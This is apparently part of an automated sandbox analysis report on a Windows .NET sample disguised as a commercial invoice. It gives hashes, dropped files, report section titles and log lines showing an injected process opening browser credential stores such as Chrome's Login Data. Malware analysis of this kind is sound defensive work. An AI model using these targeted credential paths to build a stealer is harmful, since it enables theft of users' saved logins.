Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

ID:	1446730
Product:	CloudBasic
Start time:	20:21:08
Start date:	23.05.2024
Sample:	COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	7831435dbf79df5631126a63a722cf35
SHA1:	2380acbc54642882a4a3ebaa0a892eda4ea50b96
SHA256:	b4c52779d09ea4edabef9ef75c2756cdd9a1fc0c10564ea7cd153ca223d0a9d8
Filetype:	Win64 Executable GUI Net Framework (217006/5) 49.88%

Name	Type	MD5	SHA1	SHA256
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_COMMERCIAL INVOI_d7834551923348fdd4bf39d55123055b1a346a_65c60274_2eae240f-f059-4d10-a8b0-0f9a1e70392f\Report.wer	Unicode text, UTF-16, little-endian text, with CRLF line terminators	97E46A7EE87F27DE0F5460FD094A1CCB	90473DADC64A1856B80E24F2125F2174EC3F2E07	0AA3AC33CA6B12A478E97D31F81C67BEECDE7AEA714371500AAC9782F606303B
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF4A7.tmp.dmp	Mini DuMP crash report, 16 streams, Thu May 23 18:21:57 2024, 0x1205a4 type	F3225F564E5BB3417A7D0FD58B9C0BE3	0E223A084CDFC9C0464CE409EA5500D7B78ABF5A	998E578ECF36497D81AE13C63763882C8A8F8A5D58DB0B48272B82892112EFC2
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF709.tmp.WERInternalMetadata.xml	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators	519749FD56AA47F17C8BF02768C8E0C7	D23C799031AF3ADBBAC21ECD88A4402CBF476A6A	711D48444CAFB672F9ED819BCA008269AD4DC389FAE244773F66ED17B0C077E9
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF7F5.tmp.xml	XML 1.0 document, ASCII text, with CRLF line terminators	44A02D807E62D19DA8D3DAE9A3C27891	4B7ABE17135BF39851CB7ED6AFD8355F8EEF686F	5AEE942C9F562FC6644F288FC3431A1CA2FA3DBD8CC42A65106C42648618C5C3
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	DA1F22117B9766A1F0220503765A5BA5	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0zdhnazt.3lq.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4us1mcsa.nnh.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uh5pnaz3.53w.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yefk2xkd.aml.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Windows\appcompat\Programs\Amcache.hve	MS Windows registry file, NT/2000 or above	C2A1328546B3D58F3813CD07BF1981E8	5E89CB057AE18DA08C1035ED0E5991888E8F552C	419AFDC7E0E0AACE596C04C67644CA9E2E0098D7E26418C7721F75DEB11D4C1C

Windows Analysis Report COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Malware Threat Intel
Provided by